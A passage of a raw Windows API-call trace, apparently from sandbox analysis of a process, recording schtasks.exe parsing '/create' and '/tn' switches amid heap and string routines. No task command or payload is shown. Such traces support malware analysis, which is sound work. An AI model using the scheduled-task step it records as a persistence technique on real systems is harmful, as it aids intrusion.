lstrlenW (lpString="f") returned 1 [0142.380] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.380] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|change|") returned 8 [0142.380] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|f|") returned 3 [0142.380] lstrlenW (lpString="|change|") returned 8 [0142.380] lstrlenW (lpString="|f|") returned 3 [0142.380] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0142.380] SetLastError (dwErrCode=0x490) [0142.380] lstrlenW (lpString="run") returned 3 [0142.380] lstrlenW (lpString="run") returned 3 [0142.380] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.380] lstrlenW (lpString="f") returned 1 [0142.380] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.380] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|run|") returned 5 [0142.380] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|f|") returned 3 [0142.380] lstrlenW (lpString="|run|") returned 5 [0142.381] lstrlenW (lpString="|f|") returned 3 [0142.381] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0142.381] SetLastError (dwErrCode=0x490) [0142.381] lstrlenW (lpString="end") returned 3 [0142.381] lstrlenW (lpString="end") returned 3 [0142.381] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.381] lstrlenW (lpString="f") returned 1 [0142.381] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.381] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|end|") returned 5 [0142.381] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|f|") returned 3 [0142.381] lstrlenW (lpString="|end|") returned 5 [0142.381] lstrlenW (lpString="|f|") returned 3 [0142.381] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0142.381] SetLastError (dwErrCode=0x490) [0142.381] lstrlenW (lpString="showsid") returned 7 [0142.381] lstrlenW (lpString="showsid") returned 7 [0142.382] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.382] lstrlenW (lpString="f") returned 1 [0142.382] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.382] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|showsid|") returned 9 [0142.382] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f5f8 | out: _Buffer="|f|") returned 3 [0142.382] lstrlenW (lpString="|showsid|") returned 9 [0142.382] lstrlenW (lpString="|f|") returned 3 [0142.382] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0142.382] SetLastError (dwErrCode=0x490) [0142.382] SetLastError (dwErrCode=0x490) [0142.382] SetLastError (dwErrCode=0x0) [0142.382] lstrlenW (lpString="/f") returned 2 [0142.382] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0142.382] SetLastError (dwErrCode=0x490) [0142.382] SetLastError (dwErrCode=0x0) [0142.382] lstrlenW (lpString="/f") returned 2 [0142.383] GetProcessHeap () returned 0x420000 [0142.383] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x6) returned 0x43de10 [0142.383] GetProcessHeap () returned 0x420000 [0142.383] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x43cd50 [0142.383] SetLastError (dwErrCode=0x0) [0142.383] GetProcessHeap () returned 0x420000 [0142.383] GetProcessHeap () returned 0x420000 [0142.383] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43c1c0) returned 1 [0142.383] GetProcessHeap () returned 0x420000 [0142.383] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43c1c0) returned 0x8 [0142.383] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43c1c0 | out: hHeap=0x420000) returned 1 [0142.383] GetProcessHeap () returned 0x420000 [0142.383] GetProcessHeap () returned 0x420000 [0142.383] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43cbd0) returned 1 [0142.383] GetProcessHeap () returned 0x420000 [0142.383] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43cbd0) returned 0x20 [0142.384] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43cbd0 | out: hHeap=0x420000) returned 1 [0142.384] GetProcessHeap () returned 0x420000 [0142.384] GetProcessHeap () returned 0x420000 [0142.384] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43d4c0) returned 1 [0142.384] GetProcessHeap () returned 0x420000 [0142.384] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43d4c0) returned 0x14 [0142.384] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43d4c0 | out: hHeap=0x420000) returned 1 [0142.384] GetProcessHeap () returned 0x420000 [0142.385] GetProcessHeap () returned 0x420000 [0142.385] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43cc00) returned 1 [0142.385] GetProcessHeap () returned 0x420000 [0142.385] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43cc00) returned 0x20 [0142.385] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43cc00 | out: hHeap=0x420000) returned 1 [0142.385] GetProcessHeap () returned 0x420000 [0142.385] GetProcessHeap () returned 0x420000 [0142.385] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43dc90) returned 1 [0142.385] GetProcessHeap () returned 0x420000 [0142.385] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43dc90) returned 0x8 [0142.386] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43dc90 | out: hHeap=0x420000) returned 1 [0142.386] GetProcessHeap () returned 0x420000 [0142.386] GetProcessHeap () returned 0x420000 [0142.386] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43cc30) returned 1 [0142.386] GetProcessHeap () returned 0x420000 [0142.386] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43cc30) returned 0x20 [0142.386] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43cc30 | out: hHeap=0x420000) returned 1 [0142.386] GetProcessHeap () returned 0x420000 [0142.386] GetProcessHeap () returned 0x420000 [0142.387] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43d4e0) returned 1 [0142.387] GetProcessHeap () returned 0x420000 [0142.387] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43d4e0) returned 0xe [0142.387] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43d4e0 | out: hHeap=0x420000) returned 1 [0142.387] GetProcessHeap () returned 0x420000 [0142.387] GetProcessHeap () returned 0x420000 [0142.387] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43cc60) returned 1 [0142.387] GetProcessHeap () returned 0x420000 [0142.387] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43cc60) returned 0x20 [0142.387] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43cc60 | out: hHeap=0x420000) returned 1 [0142.387] GetProcessHeap () returned 0x420000 [0142.388] GetProcessHeap () returned 0x420000 [0142.388] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43dcb0) returned 1 [0142.388] GetProcessHeap () returned 0x420000 [0142.388] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43dcb0) returned 0x8 [0142.388] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43dcb0 | out: hHeap=0x420000) returned 1 [0142.388] GetProcessHeap () returned 0x420000 [0142.388] GetProcessHeap () returned 0x420000 [0142.388] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43cc90) returned 1 [0142.388] GetProcessHeap () returned 0x420000 [0142.388] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43cc90) returned 0x20 [0142.388] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43cc90 | out: hHeap=0x420000) returned 1 [0142.389] GetProcessHeap () returned 0x420000 [0142.389] GetProcessHeap () returned 0x420000 [0142.389] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43dcd0) returned 1 [0142.389] GetProcessHeap () returned 0x420000 [0142.389] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43dcd0) returned 0x4 [0142.390] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43dcd0 | out: hHeap=0x420000) returned 1 [0142.390] GetProcessHeap () returned 0x420000 [0142.391] GetProcessHeap () returned 0x420000 [0142.391] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43ccc0) returned 1 [0142.391] GetProcessHeap () returned 0x420000 [0142.391] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43ccc0) returned 0x20 [0142.391] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43ccc0 | out: hHeap=0x420000) returned 1 [0142.391] GetProcessHeap () returned 0x420000 [0142.391] GetProcessHeap () returned 0x420000 [0142.391] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43dcf0) returned 1 [0142.391] GetProcessHeap () returned 0x420000 [0142.391] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43dcf0) returned 0x8 [0142.391] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43dcf0 | out: hHeap=0x420000) returned 1 [0142.391] GetProcessHeap () returned 0x420000 [0142.391] GetProcessHeap () returned 0x420000 [0142.391] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43ccf0) returned 1 [0142.392] GetProcessHeap () returned 0x420000 [0142.392] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43ccf0) returned 0x20 [0142.392] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43ccf0 | out: hHeap=0x420000) returned 1 [0142.392] GetProcessHeap () returned 0x420000 [0142.392] GetProcessHeap () returned 0x420000 [0142.392] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43dd90) returned 1 [0142.392] GetProcessHeap () returned 0x420000 [0142.392] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43dd90) returned 0x6a [0142.395] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43dd90 | out: hHeap=0x420000) returned 1 [0142.396] GetProcessHeap () returned 0x420000 [0142.396] GetProcessHeap () returned 0x420000 [0142.396] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43cd20) returned 1 [0142.396] GetProcessHeap () returned 0x420000 [0142.396] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43cd20) returned 0x20 [0142.396] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43cd20 | out: hHeap=0x420000) returned 1 [0142.396] GetProcessHeap () returned 0x420000 [0142.396] GetProcessHeap () returned 0x420000 [0142.396] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43de10) returned 1 [0142.396] GetProcessHeap () returned 0x420000 [0142.396] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43de10) returned 0x6 [0142.396] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43de10 | out: hHeap=0x420000) returned 1 [0142.396] GetProcessHeap () returned 0x420000 [0142.396] GetProcessHeap () returned 0x420000 [0142.396] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43cd50) returned 1 [0142.397] GetProcessHeap () returned 0x420000 [0142.397] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43cd50) returned 0x20 [0142.400] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43cd50 | out: hHeap=0x420000) returned 1 [0142.400] GetProcessHeap () returned 0x420000 [0142.400] GetProcessHeap () returned 0x420000 [0142.400] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43b990) returned 1 [0142.400] GetProcessHeap () returned 0x420000 [0142.400] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43b990) returned 0x18 [0142.400] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43b990 | out: hHeap=0x420000) returned 1 [0142.401] SetLastError (dwErrCode=0x0) [0142.401] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0142.401] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0142.401] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0142.401] VerifyVersionInfoW (in: lpVersionInformation=0x29c650, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x29c650) returned 1 [0142.401] SetLastError (dwErrCode=0x0) [0142.401] lstrlenW (lpString="create") returned 6 [0142.401] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0142.401] SetLastError (dwErrCode=0x490) [0142.401] SetLastError (dwErrCode=0x0) [0142.401] lstrlenW (lpString="create") returned 6 [0142.401] GetProcessHeap () returned 0x420000 [0142.401] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x43cd50 [0142.401] GetProcessHeap () returned 0x420000 [0142.401] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x18) returned 0x43d4e0 [0142.401] _memicmp (_Buf1=0x43d4e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.401] GetProcessHeap () returned 0x420000 [0142.401] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x16) returned 0x43d4c0 [0142.402] SetLastError (dwErrCode=0x0) [0142.402] _memicmp (_Buf1=0x43ba50, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.402] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x43bbf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0142.402] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0142.402] GetProcessHeap () returned 0x420000 [0142.402] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x74e) returned 0x43dd90 [0142.402] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x43dd90 | out: lpData=0x43dd90) returned 1 [0142.403] VerQueryValueW (in: pBlock=0x43dd90, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x29c738, puLen=0x29c7a0 | out: lplpBuffer=0x29c738*=0x43e12c, puLen=0x29c7a0) returned 1 [0142.403] _memicmp (_Buf1=0x43ba50, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.403] _vsnwprintf (in: _Buffer=0x43bbf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x29c718 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0142.403] VerQueryValueW (in: pBlock=0x43dd90, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x29c7a8, puLen=0x29c798 | out: lplpBuffer=0x29c7a8*=0x43df58, puLen=0x29c798) returned 1 [0142.403] lstrlenW (lpString="schtasks.exe") returned 12 [0142.403] lstrlenW (lpString="schtasks.exe") returned 12 [0142.403] lstrlenW (lpString=".EXE") returned 4 [0142.403] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0142.403] lstrlenW (lpString="schtasks.exe") returned 12 [0142.403] lstrlenW (lpString=".EXE") returned 4 [0142.403] lstrlenW (lpString="schtasks") returned 8 [0142.403] lstrlenW (lpString="/create") returned 7 [0142.403] _memicmp (_Buf1=0x43ba50, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.403] _vsnwprintf (in: _Buffer=0x43bbf0, _BufferCount=0x19, _Format="%s %s", _ArgList=0x29c718 | out: _Buffer="schtasks /create") returned 16 [0142.403] _memicmp (_Buf1=0x43ba70, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.403] GetProcessHeap () returned 0x420000 [0142.403] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x20) returned 0x43cd20 [0142.403] _memicmp (_Buf1=0x43ba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.404] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x43d280, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0142.404] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0142.404] GetProcessHeap () returned 0x420000 [0142.404] RtlAllocateHeap (HeapHandle=0x420000, Flags=0xc, Size=0x30) returned 0x437a90 [0142.404] _vsnwprintf (in: _Buffer=0x43bff0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x29c718 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0142.404] GetProcessHeap () returned 0x420000 [0142.404] GetProcessHeap () returned 0x420000 [0142.404] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43dd90) returned 1 [0142.404] GetProcessHeap () returned 0x420000 [0142.404] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43dd90) returned 0x74e [0142.404] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43dd90 | out: hHeap=0x420000) returned 1 [0142.404] SetLastError (dwErrCode=0x0) [0142.445] GetThreadLocale () returned 0x409 [0142.445] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.445] lstrlenW (lpString="create") returned 6 [0142.445] GetThreadLocale () returned 0x409 [0142.445] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.445] lstrlenW (lpString="?") returned 1 [0142.445] GetThreadLocale () returned 0x409 [0142.445] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.445] lstrlenW (lpString="s") returned 1 [0142.445] GetThreadLocale () returned 0x409 [0142.445] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.445] lstrlenW (lpString="u") returned 1 [0142.445] GetThreadLocale () returned 0x409 [0142.445] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.445] lstrlenW (lpString="p") returned 1 [0142.445] GetThreadLocale () returned 0x409 [0142.446] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.446] lstrlenW (lpString="ru") returned 2 [0142.446] GetThreadLocale () returned 0x409 [0142.446] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.446] lstrlenW (lpString="rp") returned 2 [0142.446] GetThreadLocale () returned 0x409 [0142.446] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.446] lstrlenW (lpString="sc") returned 2 [0142.446] GetThreadLocale () returned 0x409 [0142.446] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.446] lstrlenW (lpString="mo") returned 2 [0142.446] GetThreadLocale () returned 0x409 [0142.446] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.446] lstrlenW (lpString="d") returned 1 [0142.446] GetThreadLocale () returned 0x409 [0142.446] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.446] lstrlenW (lpString="m") returned 1 [0142.446] GetThreadLocale () returned 0x409 [0142.446] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.446] lstrlenW (lpString="i") returned 1 [0142.446] GetThreadLocale () returned 0x409 [0142.446] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.446] lstrlenW (lpString="tn") returned 2 [0142.446] GetThreadLocale () returned 0x409 [0142.446] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.446] lstrlenW (lpString="tr") returned 2 [0142.446] GetThreadLocale () returned 0x409 [0142.446] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.446] lstrlenW (lpString="st") returned 2 [0142.446] GetThreadLocale () returned 0x409 [0142.447] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.447] lstrlenW (lpString="sd") returned 2 [0142.447] GetThreadLocale () returned 0x409 [0142.447] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.447] lstrlenW (lpString="ed") returned 2 [0142.447] GetThreadLocale () returned 0x409 [0142.447] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.447] lstrlenW (lpString="it") returned 2 [0142.447] GetThreadLocale () returned 0x409 [0142.447] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.447] lstrlenW (lpString="et") returned 2 [0142.447] GetThreadLocale () returned 0x409 [0142.447] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.447] lstrlenW (lpString="k") returned 1 [0142.447] GetThreadLocale () returned 0x409 [0142.447] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.447] lstrlenW (lpString="du") returned 2 [0142.447] GetThreadLocale () returned 0x409 [0142.447] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.447] lstrlenW (lpString="ri") returned 2 [0142.447] GetThreadLocale () returned 0x409 [0142.447] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.447] lstrlenW (lpString="z") returned 1 [0142.447] GetThreadLocale () returned 0x409 [0142.447] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.447] lstrlenW (lpString="f") returned 1 [0142.447] GetThreadLocale () returned 0x409 [0142.447] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.447] lstrlenW (lpString="v1") returned 2 [0142.448] GetThreadLocale () returned 0x409 [0142.448] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.448] lstrlenW (lpString="xml") returned 3 [0142.448] GetThreadLocale () returned 0x409 [0142.448] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.448] lstrlenW (lpString="ec") returned 2 [0142.448] GetThreadLocale () returned 0x409 [0142.448] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.448] lstrlenW (lpString="rl") returned 2 [0142.448] GetThreadLocale () returned 0x409 [0142.448] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.448] lstrlenW (lpString="delay") returned 5 [0142.448] GetThreadLocale () returned 0x409 [0142.448] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0142.448] lstrlenW (lpString="np") returned 2 [0142.448] SetLastError (dwErrCode=0x0) [0142.448] SetLastError (dwErrCode=0x0) [0142.448] lstrlenW (lpString="/create") returned 7 [0142.448] lstrlenW (lpString="-/") returned 2 [0142.448] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0142.448] lstrlenW (lpString="create") returned 6 [0142.448] lstrlenW (lpString="create") returned 6 [0142.448] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.448] lstrlenW (lpString="create") returned 6 [0142.448] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.448] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|create|") returned 8 [0142.448] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|create|") returned 8 [0142.449] lstrlenW (lpString="|create|") returned 8 [0142.449] lstrlenW (lpString="|create|") returned 8 [0142.449] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0142.449] SetLastError (dwErrCode=0x0) [0142.449] SetLastError (dwErrCode=0x0) [0142.449] SetLastError (dwErrCode=0x0) [0142.449] lstrlenW (lpString="/tn") returned 3 [0142.449] lstrlenW (lpString="-/") returned 2 [0142.449] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0142.449] lstrlenW (lpString="create") returned 6 [0142.449] lstrlenW (lpString="create") returned 6 [0142.449] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.449] lstrlenW (lpString="tn") returned 2 [0142.449] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.449] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|create|") returned 8 [0142.449] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|tn|") returned 4 [0142.449] lstrlenW (lpString="|create|") returned 8 [0142.449] lstrlenW (lpString="|tn|") returned 4 [0142.449] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0142.449] SetLastError (dwErrCode=0x490) [0142.449] lstrlenW (lpString="?") returned 1 [0142.449] lstrlenW (lpString="?") returned 1 [0142.449] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.449] lstrlenW (lpString="tn") returned 2 [0142.449] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.449] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|?|") returned 3 [0142.449] _vsnwprintf (in: _Buffer=0x43c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c728 | out: _Buffer="|tn|") returned 4 [0142.450] lstrlenW (lpString="|?|") returned 3 [0142.450] lstrlenW (lpString="|tn|") returned 4 [0142.450] SetLastError (dwErrCode=0x490) [0142.450] lstrlenW (lpString="s") returned 1 [0142.450] lstrlenW (lpString="s") returned 1 [0142.450] _memicmp (_Buf1=0x43c1a0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.450] lstrlenW (lpString="tn") returned 2 [0142.450] _memicmp (_Buf1=0x43c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.450] _vsnwprintf (in: _Buffer=0x43c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c728 